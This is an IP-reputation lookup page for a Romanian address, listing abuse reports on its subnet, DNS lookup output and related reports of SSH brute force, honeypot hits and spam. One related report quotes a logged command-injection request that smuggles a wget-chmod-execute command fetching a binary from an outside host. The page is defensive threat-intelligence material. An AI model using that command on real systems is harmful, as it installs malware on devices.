45.152.182.149

Basic Info

City: unknown

Region: unknown

Country: Romania

Internet Service Provider: unknown

Hostname: unknown

Organization: unknown

Usage Type: unknown

Comments:

Make a comment on this IP

No discussion about this IP yet. Click above link to make one.

Comments on same subnet:

IP	Type	Details	Datetime
45.152.182.249	attack	[DoS attack: STORM] attack packets in last 20 sec from ip [45.152.182.249], Wednesday, Oct 28,2020 23:57:52	2020-10-31 18:38:35
45.152.182.151	attack	6,22-00/00 [bc00/m30] PostRequest-Spammer scoring: berlin	2020-04-18 14:06:47
45.152.182.137	attack	[2020-04-15 07:40:19] NOTICE[1170] chan_sip.c: Registration from '' failed for '45.152.182.137:56813' - Wrong password [2020-04-15 07:40:19] SECURITY[1184] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2020-04-15T07:40:19.000-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="440",SessionID="0x7f6c08099cc8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.152.182.137/56813",Challenge="2ad802d9",ReceivedChallenge="2ad802d9",ReceivedHash="93b5d19aeaa4065d9b3fd08f9fbd7b98" [2020-04-15 07:41:03] NOTICE[1170] chan_sip.c: Registration from '' failed for '45.152.182.137:63296' - Wrong password [2020-04-15 07:41:03] SECURITY[1184] res_security_log.c: SecurityEvent="InvalidPassword",EventTV="2020-04-15T07:41:03.923-0400",Severity="Error",Service="SIP",EventVersion="2",AccountID="51",SessionID="0x7f6c081949a8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/45.152.182.137/6 ...	2020-04-15 19:48:21
45.152.182.153	attackspam	3,39-00/00 [bc00/m27] PostRequest-Spammer scoring: oslo	2020-04-03 19:14:14
45.152.182.148	attack	3,58-00/00 [bc00/m27] PostRequest-Spammer scoring: Durban01	2020-03-31 17:33:30
45.152.182.136	attackspam	Ignored robots.txt	2020-03-20 21:28:26
45.152.182.153	attackbots	fell into ViewStateTrap:Dodoma	2020-02-26 01:02:25

Whois info:

Dig info:

; <<>> DiG 9.10.3-P4-Ubuntu <<>> 45.152.182.149
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 47383
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;45.152.182.149.			IN	A

;; AUTHORITY SECTION:
.			599	IN	SOA	a.root-servers.net. nstld.verisign-grs.com. 2022020702 1800 900 604800 86400

;; Query time: 22 msec
;; SERVER: 183.60.83.19#53(183.60.83.19)
;; WHEN: Tue Feb 08 09:06:10 CST 2022
;; MSG SIZE  rcvd: 107

Host info

Host 149.182.152.45.in-addr.arpa. not found: 3(NXDOMAIN)

Nslookup info:

Server:		183.60.83.19
Address:	183.60.83.19#53

** server can't find 149.182.152.45.in-addr.arpa: NXDOMAIN

Related IP info:

Related comments:

IP	Type	Details	Datetime
36.79.224.164	attackspam	Honeypot attack, port: 445, PTR: PTR record not found	2020-01-14 01:46:19
91.195.137.183	attackspambots	Automatic report - SSH Brute-Force Attack	2020-01-14 01:41:38
218.92.0.158	attackspambots	Jan 13 18:59:19 vmd26974 sshd[3588]: Failed password for root from 218.92.0.158 port 36041 ssh2 Jan 13 18:59:31 vmd26974 sshd[3588]: error: maximum authentication attempts exceeded for root from 218.92.0.158 port 36041 ssh2 [preauth] ...	2020-01-14 02:06:46
35.231.206.60	attackbotsspam	Jan 13 17:44:19 wordpress wordpress(www.ruhnke.cloud)[36869]: Blocked authentication attempt for admin from ::ffff:35.231.206.60	2020-01-14 01:38:03
114.67.80.209	attackspambots	SSH Brute-Force reported by Fail2Ban	2020-01-14 01:57:42
46.148.21.32	attack	Invalid user administrador from 46.148.21.32 port 56826 pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=46.148.21.32 Failed password for invalid user administrador from 46.148.21.32 port 56826 ssh2 Invalid user User from 46.148.21.32 port 39482 pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=46.148.21.32	2020-01-14 01:52:56
222.186.173.183	attackbotsspam	Jan 13 19:03:03 nextcloud sshd\[14011\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=222.186.173.183 user=root Jan 13 19:03:06 nextcloud sshd\[14011\]: Failed password for root from 222.186.173.183 port 54880 ssh2 Jan 13 19:03:09 nextcloud sshd\[14011\]: Failed password for root from 222.186.173.183 port 54880 ssh2 ...	2020-01-14 02:10:37
1.174.55.17	attackspam	1578920708 - 01/13/2020 14:05:08 Host: 1.174.55.17/1.174.55.17 Port: 445 TCP Blocked	2020-01-14 02:11:48
187.174.164.99	attack	Honeypot attack, port: 445, PTR: customer-187-174-164-99.uninet-ide.com.mx.	2020-01-14 02:11:59
45.115.173.155	attackspambots	Honeypot attack, port: 445, PTR: PTR record not found	2020-01-14 01:43:16
36.82.99.88	attackbotsspam	Honeypot attack, port: 445, PTR: PTR record not found	2020-01-14 01:45:58
82.185.129.97	attackbots	OS command injection: GET /card_scan_decoder.php?No=30&door=`wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear` HTTP/1.1	2020-01-14 01:59:00
44.224.22.196	attackspam	400 BAD REQUEST	2020-01-14 02:07:34
129.204.77.45	attackspambots	Brute-force attempt banned	2020-01-14 01:51:18
84.232.228.94	attack	Unauthorised access (Jan 13) SRC=84.232.228.94 LEN=40 TTL=56 ID=23262 TCP DPT=23 WINDOW=22471 SYN	2020-01-14 01:45:24

Recently Reported IPs

191.110.81.187	159.65.112.243	119.246.132.119	5.188.206.171
149.5.37.193	189.154.160.70	125.105.47.43	113.120.31.139
223.89.180.253	158.140.174.8	187.167.206.85	173.181.135.70
62.244.119.62	182.101.41.218	103.111.137.226	113.89.245.156
93.117.8.65	207.5.34.94	125.26.19.4	117.22.142.126